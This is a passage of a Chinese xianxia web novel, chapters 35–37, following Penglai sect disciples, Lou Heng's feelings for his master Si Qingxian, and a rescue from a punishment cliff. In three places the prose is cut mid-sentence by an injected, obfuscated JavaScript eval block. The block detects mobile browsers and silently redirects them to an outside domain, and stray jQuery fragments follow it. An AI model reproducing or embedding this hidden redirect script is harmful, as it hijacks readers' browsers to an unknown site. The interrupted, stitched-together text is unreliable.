“此处便交给你们了。”柳成荫收回了审视的目光,他方才答应了桑宁早点回去,既然刑官已经定下这三人的责罚,他就不必在此地观罚,只是他极少先行离开,所以刑官不由得多问了一嘴。
“留灯仙君这就要走了?”
柳成荫难得露出一个极浅的笑容,应道:“答应了她早点回悬天阁。”
“她?谁啊?”
柳成荫使了瞬移术回悬天阁,直留下一头雾水的刑官,刑官摸不着头脑的样子逗笑了旁边的仙侍,仙侍笑得要都直不起腰了,道:“除了桑丫头还能有谁使唤得动咱们留灯仙君。”
没了柳成荫在旁观罚,刑官多少也放了点水,只打了二十板子小惩大诫,执刑的仙侍一看见裴同玉就头疼,她无奈扶额道:“裴小公子,这次又是为什么打架?”
被责罚过的裴同玉依旧是一副高高在上的神情,听到仙侍的询问,裴同玉毫不在乎地抬起下巴,反问道:“仙侍姐姐,我都打了这么多次架,该通知裴家人了吧?”
仙侍下意识看向站在台阶上的刑官,得到刑官的眼神示意后颇为同情地看了一眼裴同玉,再次搬出那套老到掉牙的说辞,“裴小公子,裴宗主说了要你在蓬莱专心学业,未修成仙身一日就不会派人接你回去,你在这儿闹翻了天也没什么用……”
裴同玉眼底那一丝光亮彻底黯淡下去,他沉默着将脱臼的胳膊重新接好,然后朝刑官和仙侍鞠了一躬,哑声道:“我明白了。”
这声音太过干涩,楼珩忍不住多看了几眼裴同玉孤零零的背影,上一次裴同玉好歹还有几个狐朋狗友,自从裴同玉被关了禁闭,他身边好像也没什么朋友了。
“有病?他都那么侮辱你了,你还看他作甚?”
云晟一把揽过楼珩的脖子,他不屑地朝裴同玉的背影翻了个白眼,小声嘀咕:“活该他爹不疼娘不爱,就这狗脾气谁能受得了。”
楼珩直勾勾地盯着裴同玉的背影看了好一会儿,云晟方才的话让他突然想起了做楼弃的日子,说者无意听者有心,他反复念了几遍只觉得苦涩。
爹不疼娘不爱……是了,这世上并非所有孩子都有父母疼爱,裴同玉是例外,楼弃也是例外。
司青衔刚从昆仑山带回来几盆罕见的名贵花草,楼珩回到镜花台时司青衔正蹲在廊下摆弄花草,他早就知晓了今日学堂发生的事情,不过他并不打算过问此事,毕竟楼珩能学会反击也不是坏事。
司青衔拿着葫芦瓢又舀了一瓢水浇花,抬眸看了一眼脸色并不算好的楼珩,道:“先回寝殿上药吧,刑官的杖责可不是闹着玩的。”
“师尊。”楼珩心虚地摸了摸后脑勺,他倒是忘了师尊的消息一向灵通,他一时也不知道该说什么,只好胡乱解释了几句,“今日的事其实都是误会,我相信云晟绝不是滋事,裴同玉也是口不择言……而且我总觉得裴同玉很奇怪。”
“何以见得?”
楼珩摇了摇头,他只是猜测裴同玉可能有苦衷,但他跟裴同玉不熟,而且之前还打过架,裴同玉对他的敌意只增不减,而且按照望尘口中所说,裴同玉以前应该没这么混蛋,但不知道发生了什么变故,导致他性情大变才成了现在这副样子……算了,管那么多干啥,他还有一百遍书没抄,想想就头疼。
“师尊,我还要抄一百遍书,我先回寝殿了。”
楼珩垂头丧气的样子惹得司青衔勾唇笑了一下,他自然看得出楼珩的小心思,他这小徒弟是宁愿挨顿打也不要抄书,让楼珩抄书还不如要了他的命。
司青衔道:“罢了,既然身上有伤就不必抄书了,浴阁的药浴泡上半个时辰就会缓解不少疼痛。”
他停下手里的动作,带着探究的目光有意无意地掠过楼珩明显肿起的身后,戒律阁的板子可不好挨,要是不涂药明天就坐不下凳子了。
楼珩面上一烫,他慌乱地侧过身躲避师尊的眼神,他捂着脸丢下一句‘弟子知道了!’便急冲冲跑远了,这下丢人丢大了!
悬天阁的布置既不像揽月阁一样蝴蝶乱飞,还有不少奇珍异兽,也不像镜花台种满了花草树木,就连玉兰树下都架着秋千,相比其他两位尊者的住处,悬天阁显得格外冷清寂静,除了桑宁住的寝殿外有一池清塘,塘中种满了荷花,偶尔还会有几尾红鲤浮上水面,倒也是别有一番意境。
“师兄你回来啦?”
坐在藏书阁二楼窗框上的桑宁正在用竹棍敲打桂花树最长的一根分枝,橙黄的桂花窸窸窣窣掉下来,柳成荫抬眸望去一眼便看到笑吟吟的桑宁探出半个身子招了招手,也许是少女脸上的笑容太过灿烂,看得柳成荫有一瞬的失神。
在清香纷飞的桂花雨中他只看到了桑宁,这一刻仿佛时间都凝滞了,直到柳成荫注意到桑宁的手撑在窗框上,这丫头是不长记性啊,上一次翻窗不慎从三楼掉下去摔断了腿,这才过了多久就抛诸脑后了?
他收回目光后淡淡开口,“桑宁,你是不是忘了上次怎么摔伤了腿?”
桑宁讪讪一笑,立马放下手里的竹棍,然后麻溜从窗框上爬下来,嘟囔道:“师兄,我都解释多少次了,上一次是我没留神才松了手,你怎么还记这么清楚啊。”
柳成荫安静地看着在自己面前蹦跶的桑宁,他抬手擦掉桑宁脸上不小心蹭到的灰尘,随口问道:“今日在葵班旁听觉得怎么样?”
桑宁思索了一会儿,道:“我还是想跟阿晟他们去丙班。”
“为何?”柳成荫藏在袖中的手紧了又紧,他有些摸不准桑宁的性子,但他突然不想听桑宁解释,这有什么好解释的,桑宁跟云晟、云逍他们关系好得紧
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799337|175051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
柳成荫在桑宁开口前打断了她的话,“不是说炖了汤?”
桑宁愣了一下,师兄这话题转变得也太快了吧,她下意识答道:“炖了……山药猪肚汤。”
猪肚?
柳成荫蹙了蹙眉终是什么都没说,他被桑宁扯着袖子走到侧殿的矮桌前,桑宁看着桌上摆的砂锅和几碟小菜,下巴一抬,义正言辞道:“师兄既然答应了要喝我炖的汤,名声在外的留灯仙君不会骗小师妹吧?”
柳成荫拿着勺子的手一顿,他向来说不过伶牙俐齿的桑宁,只好将碗里的葱花挑了出去,虽然他从不吃内脏。
桑宁这张伶牙俐齿的嘴让人又爱又恨,柳成荫印象里只有一次桑宁像是锯了嘴的葫芦,连狡辩都没有一句。
那次是桑宁逃学跟云晟去后山林子里摘桃,先生直接到柳成荫面前告状,他听完把人带回悬天阁狠狠收拾了一顿,从戒尺落下到训话结束桑宁硬是一声都没吭。
后来事情就一发不可收拾,被罚过的桑宁眼泪像是断了线的珠子,半夜又因为受惊发了高热,烧得迷迷糊糊也不肯让人碰。
那一夜柳成荫彻夜未眠,他面上虽然不显却在心底暗自后悔,就连一向严肃古板的师父也说以后对桑宁不要如此苛刻。
“师兄不喜欢葱花,那我们换一下。”
桑宁顺手把自己那碗没加葱花的汤搁在柳成荫面前,又把小碟里切碎的葱花一股脑倒在碗中,随口一说,“师兄,要是这次打架也有我,你也会责罚我吗?”
“桑宁。”柳成荫慢条斯理地舀了一勺汤,道:“你最近是不是太闲了,要不要师兄帮你布置点功课?”
桑宁立马改了口,她端起碗喝了一口汤,认真道:“师兄,我开玩笑的,我最近忙着御兽课哪儿有时间胡闹啊。”
柳成荫觉得这汤味道着实不错,他又给自己添了一碗,顺便回答了桑宁刚才的问题,“要是你跟着云晟他们同人打架,师兄自然不会将你送到戒律阁受罚。”
桑宁的尾巴立马翘了起来,她就知道师兄最疼自己了,她刚想给柳成荫递一块甜糕就听见了柳成荫的下一句。
“我记得藏书阁里还有戒尺和藤条,虽然比不上戒律阁厚重的板子,但还是能大惩小戒一番。”
这轻飘飘的一句话惊得桑宁头皮发麻,她可不想再回忆师兄的戒尺了,那滋味简直是永生难忘……
“师兄,我保证不会同人打架。”桑宁信誓旦旦的样子逗笑了柳成荫,但他只是浅浅勾了下唇角,没有再提起这个令人心惊胆颤的话题。
饭后桑宁趴在软榻上研究望尘给她的药方,她想得头都大了还没想出来更好的法子,这仙草太过娇贵,无法种出许多,这就影响了治疫病的进展和效果,偏偏此刻人间某地正泛滥疫病,真是愁死人了。
柳成荫则是坐在一旁的矮桌前安静看书,他专注地盯着书上的阵法图案,这些阵法大部分都是神族遗留的,他近来对神族阵法多有研究,一方面是为了压制妖族替师父分忧,另一方面是他隐隐觉得仙界有微弱的魔气,此事绝没有那么简单,恐怕魔族会在将来某一天卷土重来。
36. 第三十六章
下个月就是仙界五年一次的试炼大会了,不少门派都是五年招一届新生弟子,所以这试炼大会也是各门派对弟子能力的测试。
以往每届魁首都是云晚苓,仅次于云晚苓的是昆仑山的迟逾和清风派的祈生。
柳成荫早年没有参加试炼大会,但他的实力应该跟迟逾不相上下,再加上先前闭关十余年,他的修为只增不减,只待今年试炼大会一展身手。
“师尊,今年的试炼大会,我能不能也去试试?”
正在擦剑的楼珩突然停下手上的动作,试探性的开口,“上一次试炼大会是弟子修行不勤,现下弟子已经在乙班跟着师兄师姐们修行两年,应该能跟其他门派的弟子过上几招。”
楼珩已经在乙班修行两年,下个月就是楼珩十七岁生辰。
司青衔将话本搁在膝上,支着脑袋思考了片刻,不紧不慢道:“自然可以,只是剑法最近可有长进?”
“当然有!”
楼珩迫不及待给司青衔展示了他最近新学的召唤术,他刚抬手北面立马飞来一把长剑,辞暮发出阵阵剑鸣,仿佛是在回应主人的召唤。
司青衔颇为震惊地抬了下眼,短短几日楼珩就学会召唤术了?
他赞许的眼神落在楼珩身上,瞧见楼珩一副尾巴翘上天的样子,他失笑道:“怎么刚有点长进就如此浮躁,跟你师叔得意忘形的样子如出一辙。”
楼珩道:“弟子在外面才不会这么张扬,我只是想告诉师尊我有参加试炼大会的能力,求您就答应我吧。”
司青衔静默了片刻,终是松了口,“只一点必须谨记于心……”
“任何时候都不能不顾安危,师尊我真的记住了。”楼珩抢先把司青衔要说的话喊了出来,他真是怕了师尊这记仇的劲儿。
司青衔听见这话挑起一边眉毛,他毫不客气地屈指弹了一下楼珩的额头,道:“仙根受损不是小事,上次是为师及时赶到才能修复你的仙根,若有下一次恐怕就没这么好的运气了。”
楼珩大咧咧笑道:“师尊放心,弟子绝对不会再鲁莽行事。”
司青衔支着下巴看了一会儿完全没把这话放在心上的小徒弟,暗自叹了口气,罢了罢了,到时候他多照看点就是了。
司青衔猜得没错,楼珩压根没把他的话放在心上,楼珩从小就经历了颠沛流离的乞讨生活,他曾跟野狗抢食、被村民殴打虐待、衣不蔽体食不果腹的日子过了很久。
楼珩对自己的生命并不算珍视,正因为这不怕死的劲头,他才能在余都拼死一搏。
这也正是司青衔最放心不下的原因,他不需要楼珩闻名天下成为一代宗师,只愿他不要再当舍身忘死的傻子。
午饭过后,司青衔静坐在软榻上赏窗外盛开的梨花,他靠在凭几上欣赏着枝头缀满的雪白梨花,这棵梨树还是从舜之帝君的恨水阁移到镜花台的,没成想会开得这么好,一棵梨树硬是为镜花台添上一抹雪白。
楼珩盯着司青衔的脸看得出了神,他满脑子都是师尊怎么生得如此好看的念头,撑着下巴痴痴地看着司青衔的侧脸,他由衷觉得师尊这张脸不做神仙也能去青楼当个头牌。
师尊的鼻梁好高啊……
师尊这眉眼生得真好看,眼波流转,长眉淡漠,这跟画中仙天上月有何区别?
师尊的薄唇轻抿、唇似涂朱,颜色倒是红润得很,看上去……很好亲。
楼珩瞬间被这个想法惊得直冒冷汗,他在想什么虎狼之词?!这可是师尊啊!他怎么敢肖想师尊……
他还没来得及移开视线就恰好撞上司青衔一双含着笑意的眼眸,楼珩此刻脸上的神情明晃晃写着‘心虚’,他不自然地摸了摸鼻子,讪讪一笑,“师尊。”
司青衔嘴角的弧度愈深,他搭在凭几的手轻轻敲了敲窗框,道:“阿珩,在想什么?”
楼珩当然不会说出自己心中所想,他垂在身侧的手紧紧攥着袖子,随口一提,“师尊,何时你才能教我那一套镜花水月的剑法。”
“镜花水月太考验心性,你现下太过浮躁,不适合这套剑法。”
司青衔的回答倒也不是全无道理,楼珩的剑法一直都是嚣张跋扈、锋芒毕露,但也不怪楼珩,毕竟十六七岁正值年少轻狂,这些年经过司青衔的食补和天地灵气的滋补,楼珩先前残缺的底子已经被补好,再加上他本就聪慧,只是以前心思不在修行上。
自打楼珩在五年前的试炼大会上一连输给其他四个门派、下山历练后每月考核都不及格、以及仙根不稳等诸多打击,楼珩竟一改往日的散漫性子开始勤奋修行。
起初司青衔以为小徒弟只是心血来潮,便没有将此事放在心上,直到楼珩每日辰时练剑、背书,还在本子上记了很多阵法和口诀,随身携带着本子以方便时不时看几眼,后来楼珩的每月考核从及格到接近满分,这才开始引人注意,蓬莱上下对楼珩的态度从质疑变成了认可。
不少弟子对楼珩的出色表示不必大惊小怪,那可是司渊尊者亲自挑选的弟子,司渊尊者平日对弟子根骨、资质、天赋都要求极高,既然尊者会收楼珩为徒,定是这小子有过人之处。
“师尊,我什么时候才能再下山历练啊?”楼珩一直都想再跟着师兄师姐们下山历练,这次他一定要路见不平拔刀相助、救死扶伤救助弱小、顺便再跟云晟他们去逛逛青楼……
这也不能怪楼珩贪玩,谁让云晟他们整日在楼珩耳边念叨上次去的青楼花魁如何如何貌美,跳的舞如何温婉多姿,举头投足间是媚骨天成,想到此处楼珩就忍不住好奇那花魁到底有多美。
司青衔脸色明显僵了一瞬,他掀起眼皮看向想得入神的楼珩,清了清嗓子,“等试炼大会结束你可以下山历练。”
“真的?!”楼珩眼前一亮,他不可置信地眨了眨眼,师尊何时变得如此好说话了?!
还没等楼珩高兴,司青衔就硬邦邦丢下了一句,“不过这次历练要跟为师一起。”
??!!
楼珩手里的剑鞘应声落地,他弯腰把剑鞘捡起来的时候还没从震惊里缓过来,他试图跟司青衔讲道理,“师尊,其实您不必亲自陪同,毕竟我们都不是小孩子了……等等,您的意思是只有我们两个人下山历练?!”
司青衔坦然道:“不可以吗?”
“自然可以,师尊作为蓬莱尊者又是仙门翘楚,法力高深无边,天底下就没有师尊降不住的妖。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799338|175051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
楼珩干笑两声,有些不自然地用袖子擦了擦怀里的剑鞘,道:“只是下山历练这种小事就不劳烦师尊了吧……”
司青衔挑起一边眉毛,解释道:“鲛人族近来有异动,为师打算在试炼大会后前往南海一探究竟,若是你不想去就罢了。”
鲛人族?他还从来没见过鲛人,书中记载海中有鲮鱼、人面鱼身、其眼泣则能出珠。
楼珩连忙一口答应,“弟子想跟师尊一同前往鲛人族,弟子绝对不会给师尊拖后腿!”
司青衔慢条斯理地撑起半边身子,眼皮都不曾抬一下,专注地盯着窗外的梨花,半晌才道:“今年的梨花开了这么久,倒是件奇事。”
楼珩顺着司青衔的视线望了过去,他一向不喜白色和红色,却独独喜欢白玉兰,大抵是因为师尊跟白玉兰很是相配,所以他才会喜欢白玉兰。
正在欣赏梨花的楼珩突然冒出来一句,“这梨花有一股清香,师尊,能做成甜糕吗?”
司青衔抬手不轻不重揉了揉楼珩的脑袋,自己这小徒弟满脑子想的都是什么奇奇怪怪的东西,他无奈道:“你若是想吃梨花糕,为师改日可以试试。”
楼珩下意识躲开司青衔的手,嘟囔道:“师尊我都多大了……你怎么还拍我脑袋,再拍就长不高了。”
“楼小仙君还嫌自己不够高?”
司青衔嘴角的笑容愈深,楼珩现在正是傲娇的年纪,他就喜欢逗楼珩,便忍不住又抬起了手,但楼珩迅速挪到了软榻另一边,这也不怪楼珩不让司青衔摸脑袋,每次司青衔摸楼珩脑袋都像极了给山药顺毛。
“师尊,我现在就比云晟高了一点点,有没有能让我一夜长高很多很多的灵丹妙药。”
楼珩顺手理了理自己被揉乱的头发,他是真的想知道有什么能快速长高的法子。
毕竟去年他的肩膀刚到师尊的胸口,今年也就长高了一点点,刚到师尊胸口上方的位置,这感觉真是太不爽了。
司青衔叹了口气,“就这么想长高?”
楼珩一脸坚定地点点头,他凑到司青衔面前眨了眨眼,追问道:“师尊,你这么说一定有法子对不对?”
“…………”
司青衔盯着面前放大的俊脸看了好一会儿,突然屈指敲了一下楼珩的额头,正色道:“胡闹。”
楼珩彻底泄了气,一头栽到司青衔身上然后再滚到一旁的软榻上,他仰天哀嚎道:“这也太不公平了!怎么同样都是在蓬莱修行,一日三餐,望尘长那么高,云逍也是……偏偏就我跟云晟死活不长,这不公平啊!”
哎?从这个角度看……师尊的脸更好看了。
楼珩直接把胳膊往脑袋下面一垫,他就是要明目张胆、仔细打量师尊这似白玉似皎月的容貌。
师尊近来比以往睡得早,这脸上也添了几分气色,哦,师尊不光有泪痣,唇下有颗小痣,就连喉结旁边也有一颗小痣。
啧啧啧,难怪古人说美色误人,这张脸看了就让人忘记正事。
楼珩早就把长高这档子事抛诸脑后了,他现在只庆幸镜花台只有自己一人陪着师尊,倘若师尊再多收几个徒弟,他肯定是要争风吃醋……不对,那是叫吸引师尊注意。
37. 第三十七章
“师尊,您的意思是……”
柳成荫朝主位上的男子下跪磕头,他似乎在犹豫着要不要跟师父坦白,思虑再三还是开了口,“师父,弟子能不能将师叔赏赐的灵丹送给阿珩……”
主位上的男子正在雕刻一块成色尚可的玉石,闻言他手上的动作一顿,冷漠开口:
“为师知道你在乎同门师弟的名声,但你有没有想过自己?你身为蓬莱派的大弟子,除了云晚苓修为最高的就是你,为师对你的期望极高,希望你能在此次试炼大会上一举夺魁,你明白吗?”
柳成荫跪得挺直的脊梁被迫弯下几分,恳求道:“师父,阿珩是为了救弟子才受了伤,弟子不能置之不理,还望师尊成全弟子一点心意。”
柳不覆手里的刻刀歪了半寸,硬生生在玉石的左边雕花处划出一道痕迹,他看着玉石上的瑕疵叹了一口气,
“什么救命之恩?你们在外游历本就该携手共进退,他擅自作主改变上山路线本就是他的错处,反害得你白白损了三年修为,为师还没跟他计较,他还敢妄称是救命之恩,当真是司青衔的好徒弟。”
柳成荫跪着往前挪了几步,拱手行礼道;“都是弟子无能,师父莫要动怒,师尊教导自是极好的,阿珩此番属实是无心之失,倘若弟子早有准备也不会闯下如此大祸,请师父责罚。”
柳不覆冷冷地看着将所有罪责都揽在自己身上的徒弟,气得险些一口气噎死,当真是他柳不覆教出来的好徒弟,事事都在为他人着想,全然不顾自己的安危,这脾性真是随了司青衔和云诸那两个完犊子玩意。
“既然你铁了心要把罪责揽在自己身上,那便去你该去的地方吧。”
柳成荫这才稍稍安心,他知道师父一向是不肯落于人后的秉性,此次下山历练险些铸成大错,师尊不追究是因为师尊本就不赞成众仙家非要分个高低这事,但师父最在乎的便是蓬莱颜面,既然一定要有人受罚,那便只能是自己。
他起身行礼时顺手将白玉瓷瓶搁在桌上,道:“弟子现在就去思过崖领罚。”
等柳成荫在思过崖领罚的消息传出来已经是三日后,桑宁刚得到消息就急匆匆去镜花台寻楼珩帮忙,正在温泉池里养伤的楼珩被桑宁的话惊得气息不稳,硬生生吐出一口黑血。
守在旁边的望尘见此状方松了一口气,“这是体内淤血,吐出来就好了。”
“楼师兄,你的伤怎么还未曾痊愈?!”
桑宁见状也顾不上柳成荫,她心有余悸地看着脸色苍白的楼珩,这才发觉楼珩也中了蛇毒,他竟然一直忍到回镜花台才发作,真不知道该夸他顾大局,还是该骂他太傻。
她连忙从袖兜里掏出一株泛着金光的灵芝塞到望尘手里,“师兄,这是能修复仙根的千年灵芝,不知道能不能派上用场。”
望尘看着手里的灵芝,这可是万年难得一株的稀罕物,整个仙界仅此一株,还是因为桑宁及笄掌门才舍得拿出来的宝贝,他迟疑道:“这可是掌门赐给你的,阿宁,你当真舍得?”
桑宁只觉得这人蠢得很,再稀罕的东西也是死物,便催促道:“再贵重的物件也比不上性命要紧,师兄,你快用吧。”
望尘的治疗术是仙门翘楚,他用过的药材和奇珍异宝不在少数,但他还从未用过如此珍贵的药材,一时竟生出几分可惜,这等罕见的宝贝以后怕是无缘再见到了。
这一株灵芝融入温泉后不出半个时辰,楼珩周身那层淡淡的光晕逐渐消散,原本被腐蚀的那一处已经被完全修复,半点痕迹都看不出来了。
望尘将法器收回的瞬间,池中的楼珩便睁开了眼睛,他从温泉池中站起来,一步一步往台阶上走,身后的长袍在水中漾起一圈圈水花,垂在身前的青丝末梢往下滴着水珠。
他每一步都走得很慢,像是在忍受着断骨重愈的痛苦,又仿佛是在回味蚀心之痛,这种滋味怕是会让人终生难忘。
“师兄,你怎么样?”
桑宁急忙冲上去扶住身形不稳的楼珩,一旁的望尘瞧着楼珩这半死不活的样子心里生出许多疑虑,按理说此等珍品能‘医死人,肉白骨’也不为过,为何在楼珩身上见效甚微。
楼珩勉强扯出一个笑容,“阿宁的宝贝可真不少,下回师兄可要惜命些,免得还要阿宁忍痛割爱。”
“呸呸呸,少说这些不中听的话!”
桑宁恨不得直接把他的嘴缝上,好端端的非要说这些不吉利的话,这厮一向不知道避谶,难怪每次下山历练都要带一身伤回来,气人玩意!
望尘翻了个白眼,直接拽过楼珩的手仔细搭脉才彻底放下心,轻笑道:“算你小子命好,要不是这株灵芝,我怕是要搭进去三成修为才能把你这仙根治好!我可真是要感谢阿宁,你小子以后不许再欺负阿宁,听见没?”
楼珩调息后感觉到体内灵力平稳了许多,幸好桑宁来得及时,否则这些年的修行怕是要废了,他理了理衣襟,笑道:“这是自然,桑宁别的没有就单单是灵丹妙药就数不胜数,天上地下再找不出第二个,也就是掌门疼爱桑宁,柳成荫那小子就没有这种特殊对待,对了,你方才说那小子怎么了?”
应该是那株灵芝的功效此刻才发挥作用,楼珩那张惨白的脸好歹添了几分气色,现下看着不像是死了三天的样子,倒像是半死不活。
望尘观察了好一会才松了口气,看来是自己想多了,万年灵芝这样的稀罕物怎么可能失效,肯定是师尊平时给这小子吃的灵丹妙药太多才会影响药效。
楼珩用清洁术将自己的衣裳整理好,他此刻便要去思过崖,柳成荫身上还有伤,怎能待在思过崖那种鬼地方。
他拽住正欲离开的望尘,有这货在就不用担心柳成荫的伤势了。
“望尘,事不宜迟,我们现在就去思过崖将人带出来,实在不行我去求师尊赦免柳师兄的罪责。”
望尘一副看傻子的神情,他真是想不通这人怎么总是圣母心泛滥,什么事都要插上一脚。
柳成荫可是掌门最得意的弟子,将来恐怕掌门之位不会外传,只要有这份器重在,掌门自然不会让柳成荫出事,现在责罚他不过是要让他长个记性,下回再遇到此种情况绝不能再失了分寸。
“楼珩,你自己还是半死不活的样子,你管旁人作甚?当真是脑子成了核桃被门夹了,上一回你擅作主张师尊是如何责罚,你都诨忘了不成?”
桑宁此刻也冷静下来,师尊一向不喜掌门过于苛刻的手段,但掌门一向来不听旁人劝阻,因此师尊从不插手掌门教导弟子是用何种方式。
她直接翻手唤出腾云,打算去前山寻云晚苓,便对楼珩嘱咐道:
“师兄,你伤势还未痊愈,我去找云师姐,她刚出关应该还没去天脊山,你就在镜花台好生休养。”
楼珩却执意要跟着桑宁,蓬莱众人皆知此次试炼大会关乎蓬莱首徒的名号,定要在云晚苓和柳成荫两人中择其一,云晚苓虽不是个爱争爱抢的性子,但也会全力以赴,倘若现下央求她去救柳成荫,便是让她为难。
“大师姐怎会顾得上柳成荫,她现下正在筹备试炼大会,罢了还是我同你去!”
二人腾云而行,下面各处山峰大殿一晃而过,不过须臾就到了思过崖的山门前,楼珩看着守在山门前的两只瑞兽,心知掌门这次是动了大怒,往日掌门对柳师兄是睁一只眼闭一只眼,现下连瑞兽都派出来守着思过崖,当真是不留情面了。
楼珩悄悄使了个隐息术将二人的气息隐藏,只是光凭这个怕是进不了山门,他拍了下桑宁的肩,颇为艰难地开口,“阿宁,你能打得过那瑞兽吗?”
桑宁极为认真地盯着楼珩漆黑的眼眸,郑重其事道:“打不过。”
这下完了,一个身负重伤一个打不过,别说进思过崖将柳成荫带出来,现下连山门都进不去。
楼珩蹙眉思考了好一会儿,他由衷觉得人就该认清眼前的情况,便斟酌道:“要不你去寻大师姐?”
桑宁:“…………”我还真以为你能说出什么绝妙的主意。
二人正准备偷偷溜走的时候,一道清冷的声音在他们身后响起,“这是打算去寻江花朝还是云晚苓?”
楼珩浑身一震,这熟悉的声音不会是……
他还没想出说辞就听见旁边的桑宁惊喜地喊道:“师兄,我们不用找旁人帮忙了,是师尊!”
楼珩缓缓闭上眼睛,他就知道望尘那个狗东西一定会去告状,以后他绝对不会再信那人的鬼话。
他万般不愿地转身行礼,声音略带颤抖,“弟子见过师尊。”
早知如此就不该来的,这下好了,师尊定不会让他们进去救人,说不准还会让掌门再多罚柳师兄几日。
司青衔饶有兴致地看着自家徒弟一副欲哭无泪的样子,他原以为楼珩受了伤老实在温泉池里泡着,没想到自己去昆仑拿个药的功夫人就没影了,不知道的还以为他这师父是洪水猛兽,做徒弟的避之不及。
他似笑非笑地看着楼珩,道:“阿珩回来不先去跟为师问安,为师还以为你有多重要的大事,原来就是为了柳成荫的事。”
楼珩心里一沉,完了完了,师尊这语气不对劲。
他直接就要跪下行礼,却被司青衔扶住胳膊,硬是没跪下去,只好讪讪一笑,“师尊言重了,弟子昨日就跟您说了,弟子有伤在身不便给师尊问安……”
司青衔闻言脸色更沉,嘴角的笑意越发讽刺,“是吗?为师觉得你现下也不像是重伤在身的样子,这不是一门心思来救人了,柳成荫到底给了你什么宝贝玩意,让你这般舍生忘死。”
楼珩翻手抓住司青衔的手腕,他知道师尊是个嘴硬心软的性子,便硬着头皮替柳成荫说尽了好话,赔笑道:
“师尊……弟子回去自会请罚,只是现下柳师兄他也身负重伤,被丢进思过崖三日不曾疗伤,弟子担心师兄的伤势,更担心会影响试炼大会,若是影响了此次考核定会有损蓬莱的颜面,师尊,望您三思。”
“理由倒是挺充分。”
司青衔看了一眼神情认真的楼珩,心叹自己是上辈子作孽才遇见这个小混蛋,他掐了掐眉心,沉声道:“罢了罢了,本尊也并非是不通情达理之人,你且去救人,欺瞒诓骗的账等你回镜花台再算。”
“多谢师尊!”
司青衔面无表情地将专门去找舜之讨要的疗伤药丢到楼珩怀里,又顺手扯下腰间白玉牌一并丢过去,淡声道:“莫要耽搁太久,你经脉被封不能随意动用灵力,自己注意点。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799339|175051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
楼珩连忙接住白玉牌和疗伤药,他知道师尊就是嘴上不饶人,心里早就拿定主意要去当说客,替柳成荫向掌门求情。
他美滋滋地朝司青衔拱了拱手,“弟子替柳师兄多谢师尊。”
司青衔脸色颇为凝重,他一直以为楼珩不会轻易原谅一个曾经跟他敌对关系的竞争对手,没想到冰释前嫌这个词会发生在他跟柳成荫之间。
他掐了掐眉心,“你们去救人吧,为师还有要事。”
说罢,司青衔就消失在一道青光里,桑宁一脸崇拜地看着消散的青光,感叹道:“何时我才能修炼到师尊的境界啊,出门不用腾云也不用御剑,不愧是师尊。”
楼珩毫不客气的给了桑宁一个爆栗,他摩挲着手里的药瓶,忍不住提醒道:
“你少看几眼吧,再磨蹭下去柳成荫就疼成傻子了,别说是试炼大会恐怕连仙根都要受损。”
“哦!我差点忘了正经事!”
有了司青衔的玉牌,二人轻而易举就进了思过崖山门,刚一进山门就立刻感受到周围的温度变得阴冷潮湿,就连向阳的地方也长满了苔藓。
每一层台阶上都有潮虫爬行的痕迹,阶边的小草小花都蔫了吧唧,像是从未感受过阳光的沐浴。
就连本该清澈见底的山间清泉都浑浊得很,泉中几乎没有活物,常见的鲫鱼小虾更不见踪迹。
“桑宁,你以前来过思过崖吗?”
楼珩打量着四周死气沉沉的寂静景象,心里的不安越来越强烈,他从未想过蓬莱会有这种地方的存在。
桑宁不以为然道:“师兄你没去过昆仑的三省山?因‘每日三省吾身’而得名,山中妖兽和机关数不胜数,就连最可怕的上古凶兽也被困在山中,凡是犯了大错的弟子都要被丢进山中,山里有阵法束缚,因此山中的人用不出半点灵力,昆仑山的弟子克己复礼,循规蹈矩不过是因为心中有忌惮有敬畏。”
她顿了顿,继续说道:“师父说了,只要蓬莱也要以瓢画葫,只要弟子们受过罚长了记性就会有个限度,只要心中有敬畏才会行事知分寸,在外游历谨记一条门规,那便是不能丢了蓬莱派的脸面。”
楼珩似懂非懂的点了点头,他大概明白了掌门为何要重罚柳师兄,此次游历有清枫派、峨眉派、昆仑山等众多仙门。
柳成荫身为仅次于云晚苓的蓬莱大弟子,一不能庇护蓬莱众师弟,二不能周全小门派的安危,这便是将蓬莱的名声抛之脑后,虽然救人处于善心,但是为了救一人而舍众人便是愚蠢至极的行为。
想到这里,楼珩嘴角扬起一抹讽刺的笑容,怎能因为一人性命轻于众人就当而皇之的舍弃,纵使清枫派跟蓬莱一向不合,但柳成荫出手相救又何错之有?
